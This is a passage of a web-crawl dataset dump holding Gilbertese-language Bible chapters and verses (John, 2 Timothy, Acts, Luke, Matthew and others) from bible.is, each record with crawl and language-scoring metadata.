neboakiu. Ma iai ane e ukoukoria, ao E motiki-taeka. 51Bon te koaua ni koaua ae I a tuangkami, bwa ane e ongeaaba nakon au taeka n reirei, ao e na bon aki mate. 52A taku I-Iutaia nakoina, Ti a ataia raoi ngkai bwa iai iroum te taimonio! E mate Aberaam, ao a mate naba buraabeti; ao Ngkoe ko kaangai, Ane e ongeaaba nakon au taeka, ao e na bon aki mate. 53Ko kakannato riki nakon Aberaam are ara bakatibu, are e mate? Ao a mate naba buraabeti! Ko taku bwa antai Ngkoe? 54E kaekaia Iesu ao E taku, Ngkana I neboai, ao akea boonganan neboau. Ae neboai bon Tamau, are kam taku bwa Atuami. 55Kam aki ataia; I ataia Ngai. Ngkana I taku bwa I aki ataia, ao N na riki bwa te tia kewe Ngai n ai aromi; ma I ataia ao I ongeaaba nakon ana taeka. 56E kimwaareirei ami bakatibu are Aberaam ni kan noora te bong are N na roko iai; ao e a kaman nooria, ao e kakatonga iai. 57A taku ngkanne nakoina I-Iutaia, A tuai ni koro nimangaun am ririki ni maiu, ao Ko a tia n noora Aberaam? 58E taku Iesu nakoia, Bon te koaua ni koaua ae I a tuangkami, bwa bon iai Ngai ma ngkoa i mwaain Aberaam. 59Ma ngaia are a anai atiibu bwa a na karebanaia, ma E karabaa Iesu, ao E kiitana te umwantabu.\nIOANE 8","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/John\/8","date":"2014-03-15T17:02:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678698575\/warc\/CC-MAIN-20140313024458-00047-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1501,"character_repetition_ratio":0.054,"word_repetition_ratio":0.005,"special_characters_ratio":0.248,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, natiu, ko na korakora, n te aakoi are e reke ngkai ti reitaki ma Kristo Iesu; 2ao baikana ko ongo irou ake I taekin i mataia taani kakoaua aika a bati, ko na mwiokoi nakoia aomata aika a kakaonimaki, aika a konaa n reireiia naba tabemwaang. 3Ko na buokanibwai ma ngai n te maraki, n ai aron ana tautia ae e raoiroi Kristo Iesu. 4Akea te tautia ae e katabeianga ni mwakuri riki tabeua ngkai e tabe ma ana mwakuri n tautia, bwa e aonga ni kakukureia ana mataniwi are e korea arana bwa e na tautia. 5Ao e aki konaa n reke te kaniwanga iroun te tia takaakaro ngkana e aki ira tuan te kauaia n takaakaro. 6Te tia unuuniki ae e mwamwakuri boni ngaia ae e riai n reke nakoina te moa n tibwa n uaan aroka ngkana a taiaki. 7Ko na iangoa te bae I taekinna, bwa ane E na anganiko te Uea te ataibwai ni bwaai ni kabane. 8Ko na ururinga Iesu Kristo, are E a manga kamaiuaki mai buakoia maate, are kanoan ana kariki Tawita, n ai aron taekana n te euangkerio are I tataekinna; 9ae I kammarakaki ibukina ao I kabaeaki n taurekereke ibukina bwa kaanga ai aron te kamwarua ngai. Ma e bon aki kabaeaki n taurekereke ana taeka te Atua. 10Ma ngaia ae I taona nanou nakoni bwaai ni kabane i bukiia ake a rineaki, bwa a aonga naba ni karekea te kamaiuaki ma te neboaki ae e aki toki mai irouni Kristo Iesu. 11E koaua te taeka ae e kaangai: Bwa ngke ti mate ma Ngaia, ao ti na maiu naba ma Ngaia; 12Ngkana ti taotaon nanora, ao ti na uaia n tautaeka ma Ngaia; Ngkana ti kaakeaa, ao E na manga kaakeaira naba; 13ngkana ti aki kakaonimaki, ao Ngaia E boni kakaonimaki, bwa E aki konaa n eekaanako oin arona. 14Ko na kauringiia am aomata baikanne, ao tuangiia i matan te Atua bwa a na tai kauntaeka bwa akea manenana, ma e na ti urui nanoia akana a ongoraa. 15Ko na kakorakorako ni kani kaotiko nakon te Atua bwa te tia mwakuri ni koaua ae ko kakoauaaki i mwiini kataakim, ae te aomata ae ko aki mamaamaa, ae e eti raoi am reirei i aon taekan te koaua. 16Ko na kararoako mani bwarantiko aika akea nanoia aika a aki itiaki, bwa ane a na kairiia aomata ni kararoaia ma te Atua; 17ao ane e na kaakang aia taeka n reirei n ai aron te maneka ae te mka ae e kana nako te iriko. Mai buakoia aomata aika a anga aia taeka n reirei n aron akanne bon Umenaio ma Bireto; 18ake a tia ni bwaoua nako man te koaua, ngkai a taku bwa e a kaman tia n roko bongin te manga-maiu man te mate; ao a uru aia onimaki iai tabemwaang. 19Ma te aa ae e matoatoa are ana aa te Atua e bon aki konaa ni kamwaingaki; ao a koreaki i aona taeka aikai: E bon ataiia ana aomata te Uea; ao, A na bane ni kiitana te buaakaka akana a mwanewea aran te Uea. 20A mena i nanon te auti ae e abwaabwaki tiaki ti mwangko aika a karaoaki mani koora ao tirewa, ma iai naba aika a karaoaki mani kaai ma taano; iai tabeua i buakoia aika bwaini bootaki aika a kakannato, ao tabeua a kaboonganaaki n taai n aki akaka. 21Ma ngaia aei, bwa te aomata ane e kaitiakia mani baike a buaakaka, ao e na riki bwa ai aron te mwangko are e bwain te bootaki ae e kakannato. E na katabuaki maiuna bwa ana bwai ana Toka, ao e na kakukureia nanon ana Toka. E a tauraoi ni kaboonganaaki ibukini mwakuri nako aika a raraoi. 22Ko na kararoako man naano ni kaibwabwaru aika naano n rorobuaka n ataei; ao ko na kataa ae ko kona, ni karaoa nanon te Atua, ni bwaina te kakaonimaki, te tangira, ma te raoi; ko na karaoi baikai ni bootaki ma te koraki aika a mwanewea aran te Uea ma nanoia aika a itiaki. 23Ma ko na tai mutiakin taian titiraki ni baba aika a aki kawanawanaa te aba, ngkai ko atai bwa a kariki kauntaeka. 24Ao e aki riai bwa e na kauntaeka ana toro te Uea; ma e na nimamannei nakoia aomata ni kabaneia, e na rabakau n reireiia aomata, e na taotaona nanona, ao 25e na nimamannei n reireiia akana a ekia nako ao tao a na anganaki aia tai mai iroun te Atua are a na bitii nanoia iai bwa a aonga n ataa te koaua; 26ao tao a na oki aia iango iai, ao a na maiu man ana bwai ni kamwaamwane te riaaboro, ngkai a a tia n tauaki irouna bwa konana ake e karaoiia bwa a na karaoa nanona.\n2 TIMOTEO 2","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/2Tim\/2","date":"2014-03-13T22:56:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678683052\/warc\/CC-MAIN-20140313024443-00028-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":803,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.465,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia arei, ngke ti aki konaa ni kamaaniira riki n taon nanora, ao ti a kukurei bwa ti na kiitanaki i Atenai n ti ngaira; 2ao ti kanakoa Timoteo, ae tarira, ae raora ni mwakuri ibukin te Atua, n tataekinan euangkerioni Kristo, bwa e na kateimatoaingkami ma ni kaungaingkami n ami onimaki; 3bwa e na tai riki n aki rau nanon temanna n taian rawaawata aikai. Bwa kam bon ataia bwa boni katauara bwa ti na ri nanon te rawaawata. 4Bwa ngke ti mena iroumi, ao ti tuangkami bwa ti na karawaawataaki. Ti taekina aei i mwaain rikina; ao n aron ae kam ataia, bwa e bon riki. 5Ma ngaia arei, ngke I aki konaa ni kamaanai riki n taona nanou, ao I kanakoa Timoteo nakoimi bwa I aonga n ataa aron ami onimaki; bwa I raraoma ngkana tao kam a tia ni kairaki iroun te tia kariirii, ao a matebuaka ara mwakuri. 6Ma ngkae e a roko Timoteo iroura i mwiin okina mai iroumi, ao e kaongoraaeira n taeka aika a raraoi aika taekan ami onimaki ma ami tangira; ao e tuangiira naba bwa kam aki toki n ururingira ma te kukurei, ao kam rangi ni kan noorira, n ai arora naba ngkai ti rangi ni kan nooringkami. 7Ma ngaia aei, taari, i buakoni kain nanora ma rawaawatara ni bane ao a karauaki nanora iroumi n ami onimaki: 8bwa e a manga karekea te maiu ae e boou nakoira aromi n teimatoa n reitaki ma te Uea. 9Bwa tera katituaraoan te Atua ae ti konaa n anganna i bukimi, ibukin te kimwaareirei ni kabanea ae ti kimwaareirei iai i bukimi i matan te Atua? 10Ti tataro ni buubuti ma nanora n te ngaina ao n te bong bwa ti na noori matami, ma ni karokoraoa ae e aki roko raoi n ami onimaki. 11E na kairiira nakoimi te Atua ae Tamara ma ara Uea are Iesu; 12ao te Uea E na kabatiaa ni karakaa ami i-tangitangiri ma tangiraia aomata ni kabaneia iroumi, n ai aron arora nakoimi; 13bwa E na kateimatoai nanomi, bwa a aonga n itiaki ma n akea kabuaakakaakiia i matan Atuara ae Tamara, ngkana E roko ara Uea are Iesu ma ana aomata aika a itiaki ni kabaneia.\n1 TETARONIKE 3","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Thess\/3","date":"2014-03-09T12:29:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999678302\/warc\/CC-MAIN-20140305060758-00031-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":374,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAREKO 13:3232Akea ane e ataa rokon te bong arei ke te aoa arei; ao a aki ataia naba anera ake i karawa, ao E aki ataia te Nati; ma ti te Tama ae e ataia. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/13\/32","date":"2014-03-15T18:08:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678699073\/warc\/CC-MAIN-20140313024459-00073-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9996060729,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9996060729026794}","num_words":50,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.272,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 1:1010bwa kam aonga ni karaoi baika a booraoi ma nanon te Uea, aika E na kukurei iai, n aromi ni karaoi mwakuri nako aika a raraoi; ao bwa kam aonga n ataa riki aron te Atua, Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Col\/1\/10","date":"2014-03-11T14:46:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011210359\/warc\/CC-MAIN-20140305092010-00075-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":52,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke a tabe n taetae Betero ma Ioane nakoia aomata, ao a roko naba ibonga ma aia mataniwi bureitiman n te umwantabu, ma Tarukaio, irouia. 2A un ibukina ngke a reireiia aomata ao a taekina te manga-maiu mai buakoia maate iroun Iesu. 3A tauiia ao a kaakiia i nanon te karabuuti ibukina bwa e a tairiki; ao a tiku iai ni karokoa te ingabong. 4Ma a bati i buakoia aomata ake a ongo aia taeka Betero ma Ioane ake a kakoauaa; tao nimangaa mwaitiia ake a onimaki. 5N te bong are i mwiina ao a bootaki aia mataniwi I-Iutaia ma unimwaane ma taani koroboki i Ierutarem; 6e roko naba Annati are aia mataniwi ibonga, ma Kaiaba, ma Ioane, ma Arekantero, ma temwaangina riki ake kaain ana utu aia mataniwi ibonga. 7A kateia taan tuatua i mataia, ao a titirakiniia ni kaangai, N te mwaaka ra, ke n te ara ra ae kam karaoa iai te baerei? 8E kaonaki Betero n te Taamnei are e Raoiroi, ma ngaia are e taku nakoia, Ngkami aika aia mataniwi aomata, ma unimwaane, 9ngkana e ukoukoraki mai iroura n te bong aei taekan te mwakuri ae e raoiroi ae ti karaoia nakon te mwauku aei, bwa e kangaa ni kamaiuaki te aomata aei, 10ao e na ataaki iroumi ni kabaneingkami, ao irouia naba kaain te bootanaomata ae Iteraera: bwa n aran Iesu Kristo are te I-Natareta, are kam kamatea n te kaibangaki, are E a manga kamaiua te Atua mai buakoia maate, boni Ngaia ae e kamaiua teuae tei ni marurung i matami. 11Boni Ngaia te atiibu are e kaakeaaki boongana iroumi, ngkami aika taani kateitei ma bon te atiibu ae moan te kakaawaki, bwa bouan te maninganinga, 12Bon ti Iesu ae e mena irouna te kamaiu, ao akea riki; bwa bon akea te ara riki teuana i aani karawa ae a anganaki aomata, ae ti konaa ni kamaiuaki iai. 13A miimii te koraki arei ngke a noora aroni Betero ma Ioane n ninikoria, ao ngke a ataiia bwa aomata n aki reireiaki. A a ataiia ngkanne bwa a meemena iroun Iesu ngkoa. 14Ma ngke a noora teuare e kamaiuaki n teitei ma Betero ao Ioane, ao akea aia taeka ni kauntaeka. 15A tuangaki ngkanne Betero ma Ioane bwa a na oti nako man te kaboowi, ao a tiku kaain te kaboowi ni maroro, 16ao a kaangai, Ti na irania uakai? Bwa e bon ataaki irouia aomata ni kabaneia aika a maeka i Ierutarem, bwa e karaoaki te bwai ae e kamiimii aei irouia uakai; ao ti aki konaa ni kakewea. 17Ma ti na tuangiia ni kamaakuia, bwa a na aki manga taetae nakon temanna n te Ara aei, bwa e kaawa ni buta nako taekan te baei nakoia aomata. 18Ao a wetea Betero ma Ioane, ao a tuangiia bwa a na aki manga taetae teutana n Aran Iesu, ao a na aki reirei naba iai. 19Ma e kaekaia Betero ma Ioane ni kaangai, Kam na karekei ami iango bwa e ngaa ae e raoiroi riki i matan te Atua: iran nanomi ke iran nanon te Atua; 20bwa ti aki konaa n aki taekini baike ti noori ma n ongo. 21Ao ngke a a tia n taetae nakoia ni kamaakuia riki, ao a kanakoia, bwa akea te bwai teuana ae a kunea are a na kareke kaiia iai, bwa a maakuia aomata; bwa a bane aomata ni karaoiroa te Atua ibukin te baere e a tia n riki. 22Bwa abwi tabun ana ririki ni maiu te aomata are e karaoaki nakoina te mwakuri ni kamaiu ae e kamiimii arei. 23Ngke a kainaomataaki Betero ma Ioane, ao a nako ni kawaria raoia, ao a kaongoraaeia n aia taeka aia mataniwi ibonga ma unimwaane ake a taekin nakoia. 24Ao ngke a ongo, ao a kaboo bwanaaia tataro nakon te Atua, ao a kaangai, Te Uea, boni Ngkoe are Ko karika karawa, ma aonnaba, ma marawa, ma bwai ni kabane ake a mena i nanoia; 25are Ko kaangai iroun te Taamnei are e Raoiroi, ni wiin Tawita are ara bakatibu, are am toro, A aera aomata aika tiaki I-Iutaia ngke a rangi n un, Ao a aera bootanaomata aika a aki onimakina te Atua ngke a iangoi baika akea bongaia? 26A katauraoia uean aonnaba, Ao a bootaki mataniwiin tautaeka, bwa a na eekaanako te Uea ma ana Kristo. 27Bwa e boni koaua bwa a bootaki n te kaawa aei, Erote ma Bontio Birato, ma aomata aika tiaki I-Iutaia, ma aomata aika Iteraera n te kaawa aei, n eekaanako Natim are e Raoiroi, are Iesu, are Ko a tia ni kabiria, 28bwa a na karaoi bwaai ni kabane ake Ko a tia ni baairei ni mwaakam ma nanom bwa a na karaoaki. 29Ao ngkai, te Uea, Ko na tarai aroia n iowawa; ao Ko na anganiia am toro te ninikoria bwa a na taekina am taeka; 30Ko na arora nako baim ni kamaiu, ao anganiira te konaa ni karaoi kanikina ma mwakuri aika a kamiimii i nanon Aran Natim are e Raoiroi are Iesu. 31Ngke a a tia n tataro ni buubuti, ao e mwaeiei te tabo are a bootaki iai; ao a bane ni kaonaki n te Taamnei are e Raoiroi, ao a tataekina ana taeka te Atua ma te ninikoria. 32A bwaina te nano ae ti teuana taan onimaki ake a bati, ao akea temanna irouia ae e tauti n ana bwai; ma a buokanibwai n aia bwai nako. 33Ao a kakorakoraia taan tuatua n tataekina te Uea are Iesu bwa E a manga maiu mai buakoia maate; ao e mena i aoia ni kabaneia ana aakoi te Atua. 34Akea i buakoia ae e kai nanona n te bwai teuana: bwa ake iai abaia ma aia auti, a kaboo nako, ao a uoti mwaneia, 35nakoia taan tuatua bwa a na kaawakin; ao a tibwaaki ni katoaaki iai taan onimaki ni kaeti ma kain nanon temanna ma temanna. 36Ao Iotebwa, are e aranaki irouia taan tuatua bwa (ae nanona, Natin te kaunga-nano) ae te I-Kubero, ae kaain te utu ae te Rewi, 37Iai abana ae e kabooa nako, ao e anga mwanen nakoia taan tuatua.\nMWAKURI 4","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/4","date":"2014-03-17T05:17:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678704872\/warc\/CC-MAIN-20140313024504-00077-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1018,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAREKO 13:44A titirakinna ni kaangai, Tuangiira bwa a na riki baikanne n ningai? Ao tera te bwai ae ti na ataia iai bwa e a roko te tai are a nang kakoroaki iai bukini baikanne? Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/13\/4","date":"2014-03-15T17:29:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678699073\/warc\/CC-MAIN-20140313024459-00090-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999988079071045}","num_words":50,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.38,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5I tangiringkami bwa kam na taetae n taetae aika a aki ataaki, ma e a raoiroi riki ngkana kam taetae ni buraabeti. E boongana riki te aomata ane e taetae ni buraabeti nakon ane e taetae n taetae aika a aki ataaki; ma ti ngkana iai ae e konaa ni kabwrabwaraa nanon ana taeka bwa e aonga n reke kateimatoaan te ekaretia iai.\n1 KORINTO 14:5\nFREE!\nOne App.\n1349 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/5","date":"2014-03-08T11:34:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999654390\/warc\/CC-MAIN-20140305060734-00076-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":68,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E taratara nako Iesu, ao E nooriia aomata aika kaubwai ni nnei aia bwaintangira i nanoni nnen te mwane, 2ao E noora naba te aine ae e mate buuna ae e aki kaubwai bwa e nnei iai uoua te rebeta. 3Ao E taku, E koaua ae I a tuangkami, bwa te aine ae e aki kaubwai arei ae akea buuna, e mwaiti riki ae e a tia ni kabwakaa nakoia ni kabaneia; 4bwa a bane ngaiia n anga mani kaubwaia, ma neierei, e ngae ngke e aki kaubwai, ma e anga ni kabane are iai irouna are e na maiu maiai. 5Ngke a taekina te umwantabu aomata tabemwaang bwa e katamaaroaaki n atiibu aika raraoi ao ni bwaai ake a bwaintangiraaki, ao E taku Iesu, 6Ni kaeti ma bwaai aika kam noori aikai, ane a na roko boong are e na aki nooraki n tiku ikai te atiibu teuana i aon teuana. A na bane ni kabwakaaki i aontano. 7Ao a titirakina Iesu ni kaangai, Te Tia Reirei, e na riki aei n ningai? Tera te kanikina ae e na ataaki iai bwa e nangi riki. 8Ao E kaekaia ni kaangai, Ka waaki ningkami bwa kam na aki burebureaki; bwa ane a na roko aomata aika bati n arau, ao ane a na Taian Areru 110.1 kaangai, Boni Ngaia ngai! Ane a na kaangai naba, E a kaan te tai are E na roko iai te Kristo! Tai nako n iriia. 9Ao ngkana kam ongo taekan taiani buaka ma kiriwe, ao tai maaku; bwa a riai n riki moa baikai, ma tiaki nanona bwa a kaotia n ae e nangi roko ni waekoa te toki. 10Ao E a manga taku nakoia, Ane e na tei rake te bootanaomata teuana n eekaanako te bootanaomata teuana, ao te tautaeka teuana n eekaanako te tautaeka teuana; 11ane e na roko mwaeiein te aba ae e korakora, ao a na roko roongo ma aoraki aika kamaamate n taabo tabeua; ao ane a na roko baika a kakamaaku ma kanikina aika abwaabwaki mai karawa. 12Ma i mwaain rikini baikai, ao ane a na tuangkami ao a na bwainikiriningkami; a na anga ngkami nakoia mataniwi ni mwaneabaia I-Iutaia, ao a na kainingkami i nanoni karabuuti; ao ane kam na kateaki i mataia ueea ma taan tau-taeka ibukin arau. 13Aei ami tai ni kaota ami onimaki. 14Ma ngaia ae kam na kaaki aei i nanomi: kam na aki iangoi moa ami taeka bwa kam na kangaa ni kaeka; 15bwa Ngai ae N na anganingkami te wi ae e ribinewe ma te rabakau, bwa a aonga n aki konaa aiami n tuuki ao ni kakewei ami taeka. 16Ane kam na kamwaneaki irouia ami karo, ma tarimi, ma ami bu, ma raomi, ao ane a na kamateia tabemwaang i buakomi. 17Ane kam na ribaaki irouia aomata ni kabaneia ibukin arau. 18Ma akea iran atuum i teaina ae e na bua mai atuum i. 19Ane kam na kareke maiumi n nanomwaakami. 20Ma ngaia ae ngkana kam noora Ierutarem bwa e ootabwaniniiaki irouia taanga ni buaka, ao kam na ataia ngkanne bwa e a kaan uruana. 21Ke a biri nako ni maunga akana mena i Iutaia, ao akana mena i nanon Ierutarem, ke a kiitanna; ao akana mena i marenaua, ke a tai rin i Ierutarem; 22Bwa aei te tai are E na karawaawataaki iai Iteraera iroun te Atua, bwa e na kakoroaki nanon are e koreaki n te Baibara. 23A kaawa ake a bikoukou, ao ake a kammammaia natiia ni boong akekei! Bwa ane e na bati te kananoanga i aon te aba, ao te un i aoia kaain te aba aei; 24ane a na tiringaki n te kabaang, ao ane a na kairaki nako bwa taenikai ao a na kauamaaeaki nako buakoia bootanaomata i aonnaba; ao ane e na uruaki Ierutarem irouia aomata aika tiaki I-Iutaia, ni karokoa tokin aia tai. 25Ao ane a na riki baika a kamiimii nakon taai ma namwakaina ma itoi; ao ane a na bane aaba nako i aonnaba ni bua aia kaantaninga n rurungaani marawa ma naao. 26Ane a na bwaka ni kiro aomata ibukin te maaku ma kaantaningaan te bwai ae e na roko i aonnaba; bwa ane a na kamwaeaki bwaini karawa mani nneia are a taneiai iai. 27Ao ngkanne, ane a na noora Natin te Aomata bwa E na nako mai n te nang ma te mwaaka ao te mimitong ae e bati. 28Ngkana a moanna n riki baikai, ao kam na tara rake ao tabeki atuum i, bwa e a kan roko kamaiuami. 29Ao E taekina te rongorongo ni kabootau teuana Iesu, ni kaangai, Kam na taraa te kai ae te biiku ao kaai nako; 30ngkana a tibwa bwebwe rake baaia, ao kam ataia iai n akea ae e tuangkami, bwa e a kaan tain te kabuebue. 31Ao ai aromi naba, bwa ngkana kam noori baikai bwa a riki, ao kam na ataia iai bwa e a kaan uean te Atua. 32E koaua ae I a tuangkami bwa a na bane n riki baikai i mwaaini mateia aomata nako aika maiu ngkai. 33A na mauna karawa ma aonnaba, ma a na aki konaa ni mauna au taeka. 34Ma kam na kaawakiningkami bwa a na aki kamamaaraaki nanomi n taekan ti te kan amwaamwarake ma te mamanging ma iango n raraoma ibukini bwain te maiu aei, bwa e kaawa ni karina rokon te bong arei n te tai are kam aki kaantaningaia iai ni kamwaneingkami, 35bwa kaanga te bwai ni kamwaamwane. Bwa ane e na roko i aoia aomata ni kabaneia aika maeka i aonnaba ni kabutaa. 36Ma kam na tantani n taai nako ao tataro bwa e aonga n reke iroumi te marurung are kam na konaa iai ni biri nako mani baika a nang roko, ao te konaa n tei i matan Natin te Aomata. 37Ao E rereirei Iesu n te umwantabu ni katoa bong; ma ngkana e a tairiki ao E oti nako ni mena n te maunga are arana Oriweta. 38N te moa n ingabong n te bong ae koraki, ao a babane aomata n nakoina n te umwantabu, bwa a na ongoraa irouna.\nRUKA 21","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/21","date":"2014-03-10T04:14:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010623118\/warc\/CC-MAIN-20140305091023-00084-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1019,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:2121A ataa te Atua, ma a aki anganna neboana ngkai te Atua Ngaia, ao a aki kaaitaua; ma a riki aia iango bwa baika akea boonganaia, ao a karooaki nanoia aika a aki wanawana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/21","date":"2014-03-13T07:48:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678663927\/warc\/CC-MAIN-20140313024423-00007-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.999972105,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999721050262451}","num_words":50,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E taetae ngkanne Iesu nakoia aomata aika a mwaiti ao nakoia ana reirei, ni kaangai, 2A onea mwiini Mote n nakoana taani koroboki ma Bwaritaio; 3ma ngaia ae kam na kaawakini baikana a tuangkami ao karaoi, ma tai kakairi irouia n aia mwakuri: bwa a reireingkami baika kam na karaoi, ma a aki konaa ni karaoi ngaiia. 4A kabaei uota aika a rarawata, aika a kaangaanga n uotaki, ao a kaaki i aon angaia aomata; ma ngaiia a rawa ni kani kamwaing n tabonibaia teaina. 5A karaoi aia mwakuri ni kabane bwa a aonga n nooraki irouia aomata: a karaababai aia burakitere, ao a kamwarairai riki rabini kunnikaia, 6ao a tangiri taabo n tekateka aika nneia aomata aika a karin eaki n tain te amwarake ni baka, ao kaintoka aika a moa n raraoi i nanoni mwaneabaia I-Iutaia. 7A tangiria bwa a na kamauraki n te aro ni karinerine n taabo ni mwaakete, ao bwa a na atongaki irouia aomata bwa taan reirei. 8Ma ngkami, kam na aki atongaki bwa taan reirei, bwa ti temanna ami Tia Reirei, ao taari ngkami ni kabaneingkami. 9Ao tai atonga te aomata temanna i aon te aba bwa tamami, bwa ti temanna Tamami bwa Teuare i karawa. 10Ao kam na tai atongaki bwa mataniwi, bwa ti temanna ami Mataniwi bwa te Kristo. 11Ane moanibaan te kakannato i buakomi ao e na riki bwa ami tabonibai; 12Ane e karietaataa ao e na kamangoraki, ao ane e kamangoria ao e na karietaataaki. 13Ma a na reke kaimi, taani koroboki ma Bwaritaio, aika taani mwaamwanaa-te-aba! Bwa kam kaina mataroan uean te Atua nakoia aomata; ao ngkami kam aki rin, ao kam tukiia akana a kan rin iai. 15A na reke kaimi, taani koroboki ma Bwaritaio, aika taani mwaamwanaa-te-aba! Bwa kam ri nanoni marawa ao kam ri aon te aba bwa kam na anaa nanon te aomata nakon ami koaua; ao ngkana e reke, ao kam karaoa ae e na reke iai uoua aron taun teuanne n riki bwa kaaini Keenna n ai aromi. 16A na reke kaimi taani kairiiri aika kam mataki, aika kam kaangai, Ngkana mwanewea aran te umwantabu te aomata bwa te bwai ni kakoaua ngkana e taetae n tuea, ao e aki bae iai; ma ngkana e mwanewea aran te koora are bwain nanon te umwantabu, ao e bae iai. 17Te koraki ni baba aika a mataki! Bwa e ngaa ae e kakaawaki riki, te koora ke te umwantabu are ngaia ae e karekea ae e na riki n tabu iai te koora? 18Ao kam kaangai naba: Ngkana e mwanewea aran te baonikarea te aomata bwa te bwai ni kakoaua ngkana e taetae n tuea, ao e aki bae n ana taeka anne; ma 